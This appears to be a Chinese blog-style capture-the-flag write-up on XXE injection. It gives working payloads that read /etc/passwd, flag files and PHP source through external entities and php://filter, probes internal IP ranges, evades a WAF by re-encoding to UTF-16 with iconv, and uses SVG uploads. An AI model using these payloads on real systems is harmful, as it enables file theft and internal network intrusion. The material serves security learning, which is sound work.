xxe语句加绕过

基础语句

解释:
<?xml version="1.0" encoding="utf-8"?>//XML声明,可以不要
   
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>//DTD部分这里的note其实是一个代号吧可以改,和下面的<user></user>对应
<user><username>&admin;</username><password>123456</password></user>//XML部分,一开始就有的

<!DOCTFPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]>   DTD部分,这里的是scan,和<scan></scan>对应
<scan>&test;</scan>  XML部分

payload:file(必须写完整路径)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123</password></user>

payload:php://filter(可以写相对路径,也可以写完整路径)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
  <!ENTITY aaa SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
  ]>
<a><username>&aaa;</username><password>aaa</password></a>

内网探针

来源:[NCTF2019]True XML cookbook

内网探针常见文件

/etc/hosts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie

语句

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
  <!ENTITY aaa SYSTEM "http://10.128.253.12">
  ]>
<a><username>&aaa;</username><password>aaa</password></a>

如果ip存在,则返回正常

payload

读取/proc/net/fib_trie ,一般好像都是读取/etc/hosts,/proc/net/arp

得到:10.244.80.54
进行C段爆破,更改54,进行爆破

最终在:10.244.80.16得到flag

waf绕过

文章:绕过WAF保护的XXE

编码绕过

原理:

一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。

先创建一个正常的xml文件,名字为rce.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123</password></user>

然后使用kali的命令iconv,进行编码
iconv -f utf8 -t utf-16 '/root/桌面/rce.xml'>2.xml  #将rce.xml改成UTF-16BE编码,放入2.xml中
还有utf-32和EBCDIC没有尝试,以后进行尝试

svg

语法格式

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

其中note和<text></text>可以随便修改,text中的x="10" y="20"不能少,因为于普通xml不同的是,他的数据是以图片的形式回显的,x="10" y="20"决定了大小,没了的话就变成一条线了

于普通的xml的区别

普通的xml二者对比
1.多了svg标签,数据<text x="10" y="20">&file;</text>只能写在svg标签内,可以有多条,但是只能得到一条数据
2.他的数据是以图片的形式回显的

例题

[CSAWQual 2019]Web_Unagi

思路

1.发现upload上传,尝试上传一句话木马,失败
2.upload.php中有一个here链接,点进去,发现xml样式,尝试上传xml文件,发现有waf

在这里插入图片描述

3.尝试使用使用xml编码绕过

payload

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
      <user>
            <username>bob</username>
            <password>passwd2</password>
            <name> Bob</name>
            <email>bob@fakesite.com</email>
            <group>CSAW2019</group>
            <intro>&xxe;</intro>
      </user>
</users>

注:1.&xxe;要写在<intro></intro>里面,应为他intro(简介)能显示更多字符,其他的显示不完全。
   2.<user></user>里面可以只写<intro>&xxe;</intro>,其他的不写不影响内容显示

然后进行编码,命令:
iconv -f utf8 -t utf-16 '/root/桌面/rce.xml'>2.xml  #将rce.xml改成UTF-16BE编码,放入2.xml中

[BSidesCF 2019]SVGMagic

思路

1.题目提示svg图片格式,svg是使用的xml定义图片,尝试构成svg格式的xml,成功回显/etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

payload

1.尝试/flag,/flag.txt,/var/www/html/flag.txt,都没有
2.尝试使用/proc/self/pwd/,代表的是当前路径,/proc/self/pwd/flag.txt,成功
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值